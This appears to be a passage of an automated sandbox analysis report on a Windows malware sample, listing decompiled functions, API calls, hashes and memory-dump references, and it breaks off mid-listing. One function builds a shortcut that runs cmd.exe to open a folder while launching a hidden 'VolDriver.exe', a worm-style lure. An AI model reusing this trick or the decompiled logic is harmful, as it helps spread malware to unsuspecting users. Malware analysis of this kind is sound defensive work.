
Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: acf582c9f46a2137a39eec74a6870d9bb4a9c089b8521e7e280b1c815e7e1608
Instruction ID: 788f702b9492d2748fa33cb2f0bef3e81c848d8eff2aac60f157a8f848454262
Opcode Fuzzy Hash: acf582c9f46a2137a39eec74a6870d9bb4a9c089b8521e7e280b1c815e7e1608
Instruction Fuzzy Hash: EC31D472601615ABC710AFB5EC88BD7B7E8FF44724F00893EF54AD3281DB39A4448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C741 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C741() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"service") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"serviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040C7BC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C80B
SysFreeString.OLEAUT32(00000000), ref: 0040C81F
SysFreeString.OLEAUT32(00000000), ref: 0040C837

Strings

serviceType, xrefs: 0040C7C6
service, xrefs: 0040C7B3

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction ID: a2ae9d540b18a7237781164838fed95b9af08367ec0547399f69e9a392117d82
Opcode Fuzzy Hash: 57d823261c39902ee773dc23455852ca3ca2d32db1bb6f44af686056f0d9f317
Instruction Fuzzy Hash: 5631CA75E0020ADFCB04DF98D884BAFB7B5AF88305F108669E515A7390D7789A85CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040C921 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040C921() {
				void* _t85;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t85 - 0xc)) =  *((intOrPtr*)(_t85 - 0xc)) + 1;
					if( *((intOrPtr*)(_t85 - 0xc)) >=  *((intOrPtr*)(_t85 - 4))) {
						break;
					}
					L2:
					 *(_t85 - 0x10) = 0;
					_push(_t85 - 0x10);
					_push( *((intOrPtr*)(_t85 - 0xc)));
					_push( *((intOrPtr*)(_t85 + 8)));
					if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 + 8)))) + 0x1c))))() != 0 ||  *(_t85 - 0x10) == 0) {
						L18:
						continue;
					} else {
						L4:
						 *(_t85 - 0x14) = 0;
						_push(_t85 - 0x14);
						_push( *(_t85 - 0x10));
						if( *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 0xa4))))() == 0 &&  *(_t85 - 0x14) != 0) {
							L6:
							if(lstrcmpiW( *(_t85 - 0x14), L"device") == 0) {
								L7:
								 *((intOrPtr*)(_t85 - 0x18)) = E0040C200( *(_t85 - 0x10), L"deviceType");
								if( *((intOrPtr*)(_t85 - 0x18)) != 0) {
									L8:
									 *(_t85 - 0x1c) = 0;
									_push(_t85 - 0x1c);
									_push( *((intOrPtr*)(_t85 - 0x18)));
									if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 0x68))))() == 0 &&  *(_t85 - 0x1c) != 0) {
										L10:
										if(lstrcmpiW( *(_t85 - 0x1c),  *(_t85 + 0xc)) == 0) {
											 *(_t85 - 8) =  *(_t85 - 0x10);
										}
										L12:
										__imp__#6( *(_t85 - 0x1c));
									}
									L13:
									 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t85 - 0x18)))) + 8))))( *((intOrPtr*)(_t85 - 0x18)));
								}
							}
							L14:
							__imp__#6( *(_t85 - 0x14));
						}
						L15:
						if( *(_t85 - 8) == 0) {
							L17:
							 *((intOrPtr*)( *((intOrPtr*)( *( *(_t85 - 0x10)) + 8))))( *(_t85 - 0x10));
							goto L18;
						}
					}
					break;
				}
				L19:
				return  *(_t85 - 8);
			}

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040C99C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040C9EB
SysFreeString.OLEAUT32(00000000), ref: 0040C9FF
SysFreeString.OLEAUT32(00000000), ref: 0040CA17

Strings

device, xrefs: 0040C993
deviceType, xrefs: 0040C9A6

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction ID: 13aee1176452d62b74ac46d26b233db62756319b53bb87b3b8849ed906738a0f
Opcode Fuzzy Hash: d1e252de239358218e20ca43259cf9d3f4c29c9aecec0edfa49fab37b6abc5cc
Instruction Fuzzy Hash: 7B31C974E0020ADBCB14CF99D894BAFB7B5AF88304F108269E515B7390D7789A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00407980 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407980(signed int _a4, signed int _a8) {

				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 | _a4;
				_a8 = _a8 | _a8;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x0000ffff | _a4 & 0xffff0000;
				_a8 = _a8 & 0x0000ffff | _a8 & 0xffff0000;
				L0040EDFE();
				L0040EDF8();
				_a4 = _a4 & 0x00ff00ff | _a4 & 0xff00ff00;
				_a8 = _a8 & 0x00ff00ff | _a8 & 0xff00ff00;
				return _a4;
			}

0x0040798d
0x0040799e
0x004079a7
0x004079aa
0x004079c0
0x004079dc
0x004079e5
0x004079e8
0x004079fe
0x00407a1a
0x00407a23
0x00407a26
0x00407a32

APIs

_allshl.NTDLL ref: 0040798D
_aullshr.NTDLL ref: 0040799E
_allshl.NTDLL ref: 004079C0
_aullshr.NTDLL ref: 004079DC
_allshl.NTDLL ref: 004079FE
_aullshr.NTDLL ref: 00407A1A

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction ID: 2093b42955e45bd62e61740d1c7aadb5a606cc23c90c49e7bcc84aa687a307ef
Opcode Fuzzy Hash: 8ea7b64097fb68af6753185209a0c413dd0031376398f2c807c5146dc0d87a2e
Instruction Fuzzy Hash: 2C1121325005286B9B10EF5EC4826CABBD6EF84361B15C136FC2CDF359D634D9515BD4

Uniqueness

Uniqueness Score: -1.00%

Function 00404D70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94
comCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404D70(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				short _v540;
				char* _t37;
				intOrPtr _t42;

				__imp__CoInitialize(0);
				_t37 =  &_v12;
				__imp__CoCreateInstance(0x410338, 0, 1, 0x410328, _t37);
				_v8 = _t37;
				if(_v8 >= 0 && _v12 != 0) {
					wsprintfW( &_v540, L"/c start .\\%s & start .\\%s\\VolDriver.exe", 0x415124, 0x415124);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x50))))(_v12, L"%windir%\\System32\\cmd.exe");
					_t42 =  *_v12;
					_t13 = _t42 + 0x44; // 0xffed0c85
					 *((intOrPtr*)( *_t13))(_v12, _a8, _a12);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x3c))))(_v12, 7);
					 *((intOrPtr*)( *((intOrPtr*)( *_v12 + 0x2c))))(_v12,  &_v540);
					_v8 =  *((intOrPtr*)( *((intOrPtr*)( *_v12))))(_v12, 0x410348,  &_v16);
					if(_v8 >= 0 && _v16 != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 0x18))))(_v16, _a4, 1);
						 *((intOrPtr*)( *((intOrPtr*)( *_v16 + 8))))(_v16);
					}
					return  *((intOrPtr*)( *((intOrPtr*)( *_v12 + 8))))(_v12);
				}
				return _t37;
			}

APIs

CoInitialize.OLE32(00000000), ref: 00404D7B
CoCreateInstance.OLE32(00410338,00000000,00000001,00410328,?), ref: 00404D93
wsprintfW.USER32 ref: 00404DC6

Strings

%windir%\System32\cmd.exe, xrefs: 00404DCF
/c start .\%s & start .\%s\VolDriver.exe, xrefs: 00404DBA

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %windir%\System32\cmd.exe$/c start .\%s & start .\%s\VolDriver.exe
API String ID: 2038452267-2473591295
Opcode ID: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction ID: 2a49fd5d28e8ccd51fed007e1346deb4ba552c81a06522ba7ecdc7d03be8f695
Opcode Fuzzy Hash: eadea155d48dcf4b5dc2eddb40bd72b199a5ff6e8701186b8fb8f04e5b27ea74
Instruction Fuzzy Hash: 8B31B775A40208EFCB04DF98D885EDEB7B5FF88704F208199E615A72A0C674AE81CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00407570 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00407570(signed int __edx, signed int _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;

				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				L0040EDFE();
				asm("cdq");
				_v12 = _a4 | _a8 | _a12 | _a16 | _a20 | _a24;
				_v8 = __edx | __edx | __edx | __edx | __edx | __edx;
				return _v12;
			}

0x0040757b
0x0040757e
0x0040758a
0x0040758d
0x00407599
0x0040759c
0x004075a8
0x004075ab
0x004075b7
0x004075ba
0x004075c6
0x004075cb
0x004075ce
0x004075dc

APIs

_allshl.NTDLL ref: 0040757E
_allshl.NTDLL ref: 0040758D
_allshl.NTDLL ref: 0040759C
_allshl.NTDLL ref: 004075AB
_allshl.NTDLL ref: 004075BA

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: _allshl
String ID:
API String ID: 435966717-0
Opcode ID: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction ID: a1b14869e86cb328d4ae7b27d3c95eded15a07d37ad0fd28e3103b9823fe5a09
Opcode Fuzzy Hash: d51c0cfb7cecbe22f3a005448584aa28a11641046ad401d5bf26070a09b22ed4
Instruction Fuzzy Hash: C4F03172901429AB9710EEEF84824CAFBE69F88364B118576FC18E3270E9709D1146F2

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD00(intOrPtr* __ebx, void* __edi) {
				void* _t8;
				intOrPtr* _t18;
				intOrPtr _t23;
				intOrPtr _t26;
				void* _t28;

				_t18 = __ebx;
				if(__ebx != 0 &&  *__ebx == 0x756470) {
					SetEvent( *(__ebx + 0x10));
					WaitForSingleObject( *(__ebx + 0x14), 0xffffffff);
					CloseHandle( *(__ebx + 0x14));
					_t26 =  *((intOrPtr*)(__ebx + 0x20));
					if(_t26 == 0) {
						L6:
						E00409600( *((intOrPtr*)(_t18 + 8)));
						return E00408C70(_t18);
					}
					do {
						E00408C70( *((intOrPtr*)(_t26 + 0x18)));
						_t23 =  *((intOrPtr*)(_t26 + 0x1c));
						E00408C70(_t26);
						_t28 = _t28 + 8;
						_t26 = _t23;
					} while (_t23 != 0);
					goto L6;
				}
				return _t8;
			}

APIs

SetEvent.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD11
WaitForSingleObject.KERNEL32(?,000000FF,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD1D
CloseHandle.KERNEL32(?,?,0040DDF5,?,?,0040BF1E,00000000), ref: 0040DD27

Part of subcall function 00408C70: HeapFree.KERNEL32(02420000,00000000,00401192,?,00401192,?), ref: 00408CCB

Strings

pdu, xrefs: 0040DD04

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CloseEventFreeHandleHeapObjectSingleWait
String ID: pdu
API String ID: 309973729-2320407122
Opcode ID: f5c6ee23cecd016198fd4af76c8758ed014f635e7033cc2238d2bb5f9f771a0d
Instruction ID: 47894c430adc079fffee70a5773b5e3dad97f275ab1eff5073097a11c037a3ac
Opcode Fuzzy Hash: f5c6ee23cecd016198fd4af76c8758ed014f635e7033cc2238d2bb5f9f771a0d
Instruction Fuzzy Hash: 72F0C872804210ABCB20AFA5EC84D5777785F45320304466EFD4467396CA38DC45C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA30 Relevance: 6.1, APIs: 4, Instructions: 73
networkCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E0040EA30(char _a4) {
				long _v4;
				struct _OVERLAPPED* _v8;
				long _v12;
				void* __ebx;
				signed int _t31;
				signed int _t32;
				signed int _t36;
				struct _OVERLAPPED* _t38;
				long _t43;
				char _t51;
				struct _OVERLAPPED* _t52;
				long* _t54;

				_t54 =  &_v12;
				_t51 = _a4;
				_t52 = 0;
				_v4 = 0;
				_v12 = 0;
				_v8 = 0;
				_t31 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
				_t43 = _v12;
				_t32 = _t31 & 0xffffff00 | _t31 != 0x00000000;
				if(_t43 == 0) {
					return _t32;
				}
				do {
					if(_t32 == 0) {
						_t38 =  *((intOrPtr*)(_t43 + 0x260));
						__imp__WSAGetOverlappedResult(_t38, _v8,  &_v4, 0,  &_a4);
						if(_t38 == 0) {
							__imp__#111();
							_t52 = _t38;
						}
					}
					_push(_t52);
					E0040E840(_v8, _v4, _v12);
					_t54 =  &(_t54[1]);
					_t52 = 0;
					_v4 = 0;
					_v12 = 0;
					_v8 = 0;
					_t36 = GetQueuedCompletionStatus( *(_t51 + 8),  &_v4,  &_v12,  &_v8, 0xffffffff);
					_t43 = _v12;
					_t32 = _t36 & 0xffffff00 | _t36 != 0x00000000;
				} while (_t43 != 0);
				return _t32;
			}

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EA63
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 0040EA8F
WSAGetLastError.WS2_32 ref: 0040EA99
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 0040EAD9

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction ID: 57984d4194687ad85c3307d42481ebd1fe789462df0af38e0fad0134068e6b44
Opcode Fuzzy Hash: da4c304c9c1be7b6ec673d01c7b8ed459bae1c4d061c2b26b3558c89e2bae2e2
Instruction Fuzzy Hash: 4C213EB15083119BC600DF55D880D6BB7E8BFDCB64F044A2EF598A3250D734EA49CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040E730 Relevance: 6.1, APIs: 4, Instructions: 59networksleepCOMMON

Download Yara Rule

APIs

WSARecv.WS2_32(?,00000224,00000001,?,00000208,00000208,00000000), ref: 0040E768
WSAGetLastError.WS2_32(?,00000000), ref: 0040E770
Sleep.KERNEL32(00000001,?,00000000), ref: 0040E786
WSARecv.WS2_32(?,00000224,00000001,?,?,00000208,00000000), ref: 0040E7AC

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Recv$ErrorLastSleep
String ID:
API String ID: 3668019968-0
Opcode ID: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction ID: ce078963949e4c85844abf3da7583f675a37e97f6c8ed4734d1f7ba0ccbfa151
Opcode Fuzzy Hash: c27d7355d997e997ad15a14d69b16d301b2f1f4b418a8c27a866cefb6ec18630
Instruction Fuzzy Hash: C211AD76104305AFD310CF65EC84EEBB7ECEB88700F40492AF945D3280E679E94997B2

Uniqueness

Uniqueness Score: -1.00%

Function 0040E5C0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E5EC
WSAGetLastError.WS2_32 ref: 0040E5F2
Sleep.KERNEL32(00000001), ref: 0040E608
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 0040E62A

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction ID: 3e3dd8552cbe75fe5ae1c554dac2643b1da2c24a2dcdc53f0862cdb527b38f0e
Opcode Fuzzy Hash: 92b9ff23b28bc40c6e9e710034151e6c318f4b9486cff39ba22ee0894646fa3f
Instruction Fuzzy Hash: B40162712443056FE730CE96DC88F9B77ACEBC8711F40882AF608D61C0C7B5A9469B79

Uniqueness

Uniqueness Score: -1.00%

Function 0040E280 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E280(void* __esi) {
				intOrPtr _t13;
				intOrPtr _t19;
				struct _CRITICAL_SECTION* _t21;
				void* _t22;
				intOrPtr _t23;
				void* _t24;

				_t22 = __esi;
				_t23 =  *((intOrPtr*)(_t24 + 0xc));
				_t21 = _t23 + 0x244;
				EnterCriticalSection(_t21);
				if(__esi == 0) {
					L9:
					LeaveCriticalSection(_t21);
					return 1;
				} else {
					if(InterlockedExchangeAdd(__esi + 0x14, 0) == 0) {
						_t13 =  *((intOrPtr*)(__esi + 0x38));
						_t19 =  *((intOrPtr*)(__esi + 0x34));
						if(_t13 != 0) {
							 *((intOrPtr*)(_t13 + 0x34)) = _t19;
						}
						if(_t19 == 0) {
							 *((intOrPtr*)(_t23 + 0x25c)) = _t13;
						} else {
							 *((intOrPtr*)(_t19 + 0x38)) = _t13;
						}
						E00408C70( *((intOrPtr*)(_t22 + 0x2c)));
						E00408C70(_t22);
						goto L9;
					} else {
						LeaveCriticalSection(_t21);
						return 0;
					}
				}
			}

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040E34C,?,?), ref: 0040E290
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E2A0
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2AD
LeaveCriticalSection.KERNEL32(?,?,?,0040E34C,?,?), ref: 0040E2E8

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction ID: e6ac6c1a31680b607f42abd4f6290106e839e9b4de79647b68f4cbd1092355c7
Opcode Fuzzy Hash: e7775c6e724d18b6b16e4560ed2e445d19ec959f5a48ac8fdc33ada78c93d50a
Instruction Fuzzy Hash: 4001DF35242204AFC3209F63ED44ADB73ACAB85B21B00483EE946A3681CB39E441CB38

Uniqueness

Uniqueness Score: -1.00%

Function 0040BDD0 Relevance: 6.0, APIs: 4, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BDD0(intOrPtr* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				void* _t20;

				if(_a4 != 0) {
					_v8 = _a4;
					EnterCriticalSection(_v8 + 4);
					_v12 = 0;
					while(_v12 <  *_v8) {
						_t11 = _v8 + 0x1c; // 0xfe5ae850
						CloseHandle( *( *_t11 + _v12 * 4));
						_v12 = _v12 + 1;
					}
					LeaveCriticalSection(_v8 + 4);
					DeleteCriticalSection(_v8 + 4);
					_t18 = _v8 + 0x1c; // 0xfe5ae850
					E00408C70( *_t18);
					return E00408C70(_a4);
				}
				return _t20;
			}

0x0040bdda
0x0040bddf
0x0040bde9
0x0040bdef
0x0040be01
0x0040be0e
0x0040be18
0x0040bdfe
0x0040bdfe
0x0040be27
0x0040be34
0x0040be3d
0x0040be41
0x00000000
0x0040be52
0x0040be58

APIs

EnterCriticalSection.KERNEL32(0040EC80), ref: 0040BDE9
CloseHandle.KERNEL32(0040EC84), ref: 0040BE18
